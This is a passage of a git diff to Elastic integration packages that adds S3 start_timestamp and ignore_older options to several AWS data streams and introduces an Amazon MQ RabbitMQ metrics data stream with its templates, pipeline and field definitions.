+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/elb_logs/manifest.yml b/packages/aws/data_stream/elb_logs/manifest.yml
index aa09dadc48a..10d2c6b6183 100644
--- a/packages/aws/data_stream/elb_logs/manifest.yml
+++ b/packages/aws/data_stream/elb_logs/manifest.yml
@@ -51,6 +51,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/data_stream/emr_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/emr_logs/agent/stream/aws-s3.yml.hbs
index bc80de3f551..2e68e0cbb11 100644
--- a/packages/aws/data_stream/emr_logs/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/emr_logs/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/emr_logs/manifest.yml b/packages/aws/data_stream/emr_logs/manifest.yml
index 3587816c851..5970c2b6af4 100644
--- a/packages/aws/data_stream/emr_logs/manifest.yml
+++ b/packages/aws/data_stream/emr_logs/manifest.yml
@@ -29,6 +29,20 @@ streams:
required: false
show_user: true
description: Mandatory if the "Collect logs via S3 Bucket" switch is on. It is a required parameter for collecting logs via the AWS S3 Bucket unless you set a Bucket ARN.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: queue_url
type: text
title: "[SQS] Queue URL"
diff --git a/packages/aws/data_stream/firewall_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/firewall_logs/agent/stream/aws-s3.yml.hbs
index 9a9a527ec10..639d11a5270 100644
--- a/packages/aws/data_stream/firewall_logs/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/firewall_logs/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/firewall_logs/manifest.yml b/packages/aws/data_stream/firewall_logs/manifest.yml
index 031ba72deda..f3e1c775039 100644
--- a/packages/aws/data_stream/firewall_logs/manifest.yml
+++ b/packages/aws/data_stream/firewall_logs/manifest.yml
@@ -51,6 +51,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/data_stream/guardduty/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/guardduty/agent/stream/aws-s3.yml.hbs
index 9c846628a06..6dcf050cbe0 100644
--- a/packages/aws/data_stream/guardduty/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/guardduty/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/guardduty/manifest.yml b/packages/aws/data_stream/guardduty/manifest.yml
index 56d3fc8768e..af747a8c57d 100644
--- a/packages/aws/data_stream/guardduty/manifest.yml
+++ b/packages/aws/data_stream/guardduty/manifest.yml
@@ -167,6 +167,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: queue_url
type: text
title: "[SQS] Queue URL"
diff --git a/packages/aws/data_stream/route53_resolver_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/route53_resolver_logs/agent/stream/aws-s3.yml.hbs
index 99975fa009b..fe827d5404e 100644
--- a/packages/aws/data_stream/route53_resolver_logs/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/route53_resolver_logs/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/route53_resolver_logs/manifest.yml b/packages/aws/data_stream/route53_resolver_logs/manifest.yml
index 553b8633c25..5ef18b5241c 100644
--- a/packages/aws/data_stream/route53_resolver_logs/manifest.yml
+++ b/packages/aws/data_stream/route53_resolver_logs/manifest.yml
@@ -174,6 +174,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/data_stream/s3access/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/s3access/agent/stream/aws-s3.yml.hbs
index 34bfdcd9984..08a891bd02c 100644
--- a/packages/aws/data_stream/s3access/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/s3access/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/s3access/manifest.yml b/packages/aws/data_stream/s3access/manifest.yml
index 9dcb9b0ad62..142bfb8be06 100644
--- a/packages/aws/data_stream/s3access/manifest.yml
+++ b/packages/aws/data_stream/s3access/manifest.yml
@@ -51,6 +51,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/data_stream/vpcflow/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/vpcflow/agent/stream/aws-s3.yml.hbs
index b3090c8cf3d..72afa4a2685 100644
--- a/packages/aws/data_stream/vpcflow/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/vpcflow/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/vpcflow/manifest.yml b/packages/aws/data_stream/vpcflow/manifest.yml
index 5cae11902bf..ea07e3d2189 100644
--- a/packages/aws/data_stream/vpcflow/manifest.yml
+++ b/packages/aws/data_stream/vpcflow/manifest.yml
@@ -59,6 +59,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/data_stream/waf/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/waf/agent/stream/aws-s3.yml.hbs
index 34bfdcd9984..08a891bd02c 100644
--- a/packages/aws/data_stream/waf/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws/data_stream/waf/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/aws/data_stream/waf/manifest.yml b/packages/aws/data_stream/waf/manifest.yml
index f52af2c88e3..964febed84e 100644
--- a/packages/aws/data_stream/waf/manifest.yml
+++ b/packages/aws/data_stream/waf/manifest.yml
@@ -51,6 +51,20 @@ streams:
show_user: false
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: "[SQS] Visibility Timeout"
diff --git a/packages/aws/manifest.yml b/packages/aws/manifest.yml
index 889d7064fef..30ac9ebd2b5 100644
--- a/packages/aws/manifest.yml
+++ b/packages/aws/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.3.1
name: aws
title: AWS
-version: 2.41.1
+version: 2.42.0
description: Collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent.
type: integration
categories:
@@ -11,7 +11,7 @@ conditions:
elastic:
subscription: basic
kibana:
- version: "^8.16.2 || ^9.0.0"
+ version: "^8.16.5 || ^9.0.0"
screenshots:
- src: /img/metricbeat-aws-overview.png
title: metricbeat aws overview
diff --git a/packages/aws_bedrock/changelog.yml b/packages/aws_bedrock/changelog.yml
index 5cfd34e8fb1..c8da1c8e2a5 100644
--- a/packages/aws_bedrock/changelog.yml
+++ b/packages/aws_bedrock/changelog.yml
@@ -1,3 +1,13 @@
+- version: "1.2.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
+- version: "1.1.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.0.1"
changes:
- description: Add guardrail policy action details in the guardrails dashboard.
diff --git a/packages/aws_bedrock/data_stream/invocation/agent/stream/aws-s3.yml.hbs b/packages/aws_bedrock/data_stream/invocation/agent/stream/aws-s3.yml.hbs
index ff557e78200..c1eaca3deeb 100644
--- a/packages/aws_bedrock/data_stream/invocation/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws_bedrock/data_stream/invocation/agent/stream/aws-s3.yml.hbs
@@ -33,6 +33,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless non_aws_bucket_name}}
{{#unless access_point_arn}}
diff --git a/packages/aws_bedrock/data_stream/invocation/manifest.yml b/packages/aws_bedrock/data_stream/invocation/manifest.yml
index 4aedfc11fca..35d94ce0d24 100644
--- a/packages/aws_bedrock/data_stream/invocation/manifest.yml
+++ b/packages/aws_bedrock/data_stream/invocation/manifest.yml
@@ -171,6 +171,20 @@ streams:
default: 1
show_user: true
description: Number of workers that will process the S3 objects listed. (Required when `bucket_arn` or `access_point_arn` are set).
+ - name: start_timestamp
+ type: text
+ title: "Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: bucket_list_interval
type: text
title: Bucket List Interval
diff --git a/packages/aws_bedrock/manifest.yml b/packages/aws_bedrock/manifest.yml
index 244c85b6de6..37fd1b4fe31 100644
--- a/packages/aws_bedrock/manifest.yml
+++ b/packages/aws_bedrock/manifest.yml
@@ -3,7 +3,7 @@ name: aws_bedrock
title: Amazon Bedrock
description: Collect Amazon Bedrock model invocation logs and runtime metrics with Elastic Agent.
type: integration
-version: "1.0.1"
+version: "1.2.0"
categories:
- aws
- cloud
@@ -11,7 +11,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.16.2"
+ version: "^8.16.5 || ^9.0.0"
elastic:
subscription: basic
policy_templates:
diff --git a/packages/aws_logs/changelog.yml b/packages/aws_logs/changelog.yml
index c59c3090d7e..2f049ff4510 100644
--- a/packages/aws_logs/changelog.yml
+++ b/packages/aws_logs/changelog.yml
@@ -1,6 +1,11 @@
+- version: "1.8.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
- version: 1.7.0
changes:
- - description: Add support for Kibana `9.0.0`
+ - description: Add support for Kibana `9.0.0`
type: enhancement
link: https://github.com/elastic/integrations/pull/12637
- version: "1.6.1"
diff --git a/packages/aws_logs/data_stream/generic/agent/stream/aws-s3.yml.hbs b/packages/aws_logs/data_stream/generic/agent/stream/aws-s3.yml.hbs
index 4bace235add..aa51a89e23d 100644
--- a/packages/aws_logs/data_stream/generic/agent/stream/aws-s3.yml.hbs
+++ b/packages/aws_logs/data_stream/generic/agent/stream/aws-s3.yml.hbs
@@ -31,6 +31,14 @@ When using an S3 bucket, you can specify only one of the following options:
number_of_workers: {{ number_of_workers }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{#if bucket_list_prefix }}
bucket_list_prefix: {{ bucket_list_prefix }}
{{/if}}
diff --git a/packages/aws_logs/data_stream/generic/manifest.yml b/packages/aws_logs/data_stream/generic/manifest.yml
index 722cddd7509..195bd336477 100644
--- a/packages/aws_logs/data_stream/generic/manifest.yml
+++ b/packages/aws_logs/data_stream/generic/manifest.yml
@@ -185,6 +185,20 @@ streams:
default: 1
show_user: true
description: Number of workers that will process the S3 objects listed. (Required when `bucket_arn` or `access_point_arn` are set).
+ - name: start_timestamp
+ type: text
+ title: "Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: bucket_list_interval
type: text
title: Bucket List Interval
diff --git a/packages/aws_logs/manifest.yml b/packages/aws_logs/manifest.yml
index 631226d9506..ef6b934f14f 100644
--- a/packages/aws_logs/manifest.yml
+++ b/packages/aws_logs/manifest.yml
@@ -3,7 +3,7 @@ name: aws_logs
title: Custom AWS Logs
description: Collect raw logs from AWS S3 or CloudWatch with Elastic Agent.
type: integration
-version: "1.7.0"
+version: "1.8.0"
categories:
- cloud
- observability
@@ -11,7 +11,7 @@ categories:
- aws
conditions:
kibana:
- version: "^8.16.2 || ^9.0.0"
+ version: "^8.16.5 || ^9.0.0"
elastic:
subscription: basic
policy_templates:
diff --git a/packages/aws_mq/_dev/build/docs/README.md b/packages/aws_mq/_dev/build/docs/README.md
index ffa8d52bd8a..45690a2abfb 100644
--- a/packages/aws_mq/_dev/build/docs/README.md
+++ b/packages/aws_mq/_dev/build/docs/README.md
@@ -11,15 +11,16 @@ The Amazon MQ integration allows you to efficiently collect and monitor broker p
## Compatibility
-This integration presently supports Amazon MQ for [Apache ActiveMQ](http://activemq.apache.org/) metrics.
+This integration presently supports Amazon MQ for [Apache ActiveMQ](http://activemq.apache.org/) and [RabbitMQ](https://www.rabbitmq.com/) metrics.
## Data streams
-The Amazon MQ integration collects Apache ActiveMQ metrics.
+The Amazon MQ integration collects Apache ActiveMQ and RabbitMQ metrics.
Data streams:
- `activemq_metrics`: Collects broker metrics and destination (queue and topic) metrics.
+ - `rabbitmq_metrics`: Collects broker, queue and node metrics.
## Requirements
@@ -48,9 +49,9 @@ documentation](https://docs.elastic.co/integrations/aws#requirements).
## Metrics
-### ActiveMQ Metrics
+### ActiveMQ metrics
-Amazon MQ provides a range of broker and queue metrics that help monitor system performance, resource utilization, and message flow. These metrics can be used for various use cases, including:
+Amazon MQ for ActiveMQ provides a range of broker and queue metrics that help monitor system performance, resource utilization, and message flow. These metrics can be used for various use cases, including:
- Tracking broker resource utilization, such as compute, memory, and storage.
- Monitoring message throughput and queue performance.
@@ -65,4 +66,16 @@ The following metrics are related to [Amazon MQ quotas](https://docs.aws.amazon.
- WsMaximumConnections
{{event "activemq_metrics"}}
-{{fields "activemq_metrics"}}
\ No newline at end of file
+{{fields "activemq_metrics"}}
+
+
+### RabbitMQ metrics
+
+Amazon MQ for RabbitMQ offers a variety of broker and queue metrics to monitor system performance, resource utilization, and message flow. These metrics are essential for:
+
+- Assessing broker resource usage, including CPU, memory, and storage.
+- Tracking message rates and queue depths to ensure efficient message processing.
+- Analyzing connection counts and consumer activity to optimize messaging workloads.
+
+{{event "rabbitmq_metrics"}}
+{{fields "rabbitmq_metrics"}}
\ No newline at end of file
diff --git a/packages/aws_mq/changelog.yml b/packages/aws_mq/changelog.yml
index 960d12e166a..8110ead9b97 100644
--- a/packages/aws_mq/changelog.yml
+++ b/packages/aws_mq/changelog.yml
@@ -1,3 +1,13 @@
+- version: "0.3.0"
+ changes:
+ - description: Add rabbitmq_metrics dataset for RabbitMQ metrics.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12924
+- version: "0.2.0"
+ changes:
+ - description: Add ActiveMQ overview dashboard.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12862
- version: "0.1.0"
changes:
- description: Initial draft of the package. Add activemq_metrics dataset for ActiveMQ metrics.
diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/agent/stream/stream.yml.hbs b/packages/aws_mq/data_stream/rabbitmq_metrics/agent/stream/stream.yml.hbs
new file mode 100644
index 00000000000..e2ce781a60b
--- /dev/null
+++ b/packages/aws_mq/data_stream/rabbitmq_metrics/agent/stream/stream.yml.hbs
@@ -0,0 +1,77 @@
+metricsets: ["cloudwatch"]
+period: {{period}}
+{{#if data_granularity}}
+data_granularity: {{data_granularity}}
+{{/if}}
+{{#if include_linked_accounts}}
+include_linked_accounts: {{include_linked_accounts}}
+{{#if owning_account}}
+owning_account: "{{owning_account}}"
+{{/if}}
+{{/if}}
+{{#if access_key_id}}
+access_key_id: {{access_key_id}}
+{{/if}}
+{{#if secret_access_key}}
+secret_access_key: {{secret_access_key}}
+{{/if}}
+{{#if session_token}}
+session_token: {{session_token}}
+{{/if}}
+{{#if credential_profile_name}}
+credential_profile_name: {{credential_profile_name}}
+{{/if}}
+{{#if shared_credential_file}}
+shared_credential_file: {{shared_credential_file}}
+{{/if}}
+{{#if role_arn}}
+role_arn: {{role_arn}}
+{{/if}}
+{{#if default_region}}
+default_region: {{default_region}}
+{{/if}}
+{{#if regions}}
+regions:
+{{#each regions as |region|}}
+- {{region}}
+{{/each}}
+{{/if}}
+{{#if latency}}
+latency: {{latency}}
+{{/if}}
+{{#if tags_filter}}
+tags_filter: {{tags_filter}}
+{{/if}}
+{{#if proxy_url }}
+proxy_url: {{proxy_url}}
+{{/if}}
+{{#if processors}}
+processors:
+{{processors}}
+{{/if}}
+metrics:
+- namespace: AWS/AmazonMQ
+ statistic: ["Maximum"]
+ name:
+ - ExchangeCount
+ - QueueCount
+ - ConnectionCount
+ - ChannelCount
+ - ConsumerCount
+ - MessageCount
+ - MessageReadyCount
+ - MessageUnacknowledgedCount
+ - PublishRate
+ - ConfirmRate
+ - AckRate
+ - SystemCpuUtilization
+ - RabbitMQMemLimit
+ - RabbitMQMemUsed
+ - RabbitMQDiskFreeLimit
+ - RabbitMQFdUsed
+ - RabbitMQIOReadAverageTime
+ - RabbitMQIOWriteAverageTime
+- namespace: AWS/AmazonMQ
+ statistic: ["Minimum"]
+ name:
+ - RabbitMQDiskFree
diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/elasticsearch/ingest_pipeline/default.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 00000000000..bc184069c7f
--- /dev/null
+++ b/packages/aws_mq/data_stream/rabbitmq_metrics/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,45 @@
+---
+description: Pipeline of RabbitMQ metrics
+processors:
+ - dot_expander:
+ field: "*"
+ ignore_failure: true
+ - drop:
+ description: "To drop the documents having RabbitMQ metrics"
+ if: >
+ ctx.aws?.amazonmq?.metrics?.size() == 1 &&
+ ctx.aws.amazonmq.metrics.ConsumerCount?.max != null
+ ignore_failure: true
+ - rename:
+ field: "aws.amazonmq.metrics"
+ target_field: "aws.amazonmq.metrics.rabbitmq.broker"
+ ignore_missing: true
+ if: >
+ ctx.aws?.dimensions?.Broker != null &&
+ (ctx.aws?.dimensions?.Node == null && ctx.aws?.dimensions?.Queue == null )
+ - rename:
+ field: "aws.amazonmq.metrics"
+ target_field: "aws.amazonmq.metrics.rabbitmq.node"
+ ignore_missing: true
+ if: >
+ ctx.aws?.dimensions?.Broker != null &&
+ (ctx.aws?.dimensions?.Node != null )
+ - rename:
+ field: "aws.amazonmq.metrics"
+ target_field: "aws.amazonmq.metrics.rabbitmq.queue"
+ ignore_missing: true
+ if: >
+ ctx.aws?.dimensions?.Broker != null &&
+ (ctx.aws?.dimensions?.Queue != null )
+
+on_failure:
+ - set:
+ field: event.kind
+ value: pipeline_error
+ - append:
+ field: tags
+ value: preserve_original_event
+ allow_duplicates: false
+ - set:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/fields/base-fields.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/base-fields.yml
new file mode 100644
index 00000000000..f37be4742c0
--- /dev/null
+++ b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/base-fields.yml
@@ -0,0 +1,16 @@
+- name: data_stream.type
+ type: constant_keyword
+ description: Data stream type.
+- name: data_stream.dataset
+ type: constant_keyword
+ description: Data stream dataset.
+- name: data_stream.namespace
+ type: constant_keyword
+ description: Data stream namespace.
+- name: '@timestamp'
+ type: date
+ description: Event timestamp.
+- name: event.module
+ type: constant_keyword
+ external: ecs
+ value: aws
\ No newline at end of file
diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/fields/ecs.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/ecs.yml
new file mode 100644
index 00000000000..303e169c534
--- /dev/null
+++ b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/ecs.yml
@@ -0,0 +1,9 @@
+- external: ecs
+ name: cloud.account.id
+ dimension: true
+- external: ecs
+ name: cloud.region
+ dimension: true
+- name: agent.id
+ external: ecs
+ dimension: true
diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/fields/fields.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/fields.yml
new file mode 100644
index 00000000000..2ffdb5a75e0
--- /dev/null
+++ b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/fields.yml
@@ -0,0 +1,176 @@
+- name: aws
+ type: group
+ fields:
+ - name: dimensions
+ type: group
+ fields:
+ - name: Broker
+ description: The name of the broker.
+ type: keyword
+ dimension: true
+ - name: Node
+ description: The name of the node.
+ type: keyword
+ dimension: true
+ - name: Queue
+ description: The name of the queue.
+ type: keyword
+ dimension: true
+ - name: VirtualHost
+ description: The name of the virtual host.
+ type: keyword
+ dimension: true
+ - name: cloudwatch.namespace
+ type: keyword
+ description: The namespace specified when query cloudwatch api.
+ - name: amazonmq.metrics.rabbitmq
+ type: group
+ fields:
+ - name: broker
+ type: group
+ fields:
+ - name: ExchangeCount.max
+ metric_type: gauge
+ type: long
+ description: The total number of exchanges configured on the broker.
+ - name: QueueCount.max
+ metric_type: gauge
+ type: long
+ description: The total number of queues configured on the broker.
+ - name: ConnectionCount.max
+ metric_type: gauge
+ type: long
+ description: The total number of connections established on the broker.
+ - name: ChannelCount.max
+ metric_type: gauge
+ type: long
+ description: The total number of channels established on the broker.
+ - name: ConsumerCount.max
+ metric_type: gauge
+ type: long
+ description: The total number of consumers connected to the broker.
+ - name: MessageCount.max
+ metric_type: gauge
+ type: long
+ description: The total number of messages in the queues.
+ - name: MessageReadyCount.max
+ metric_type: gauge
+ type: long
+ description: The total number of ready messages in the queues.
+ - name: MessageUnacknowledgedCount.max
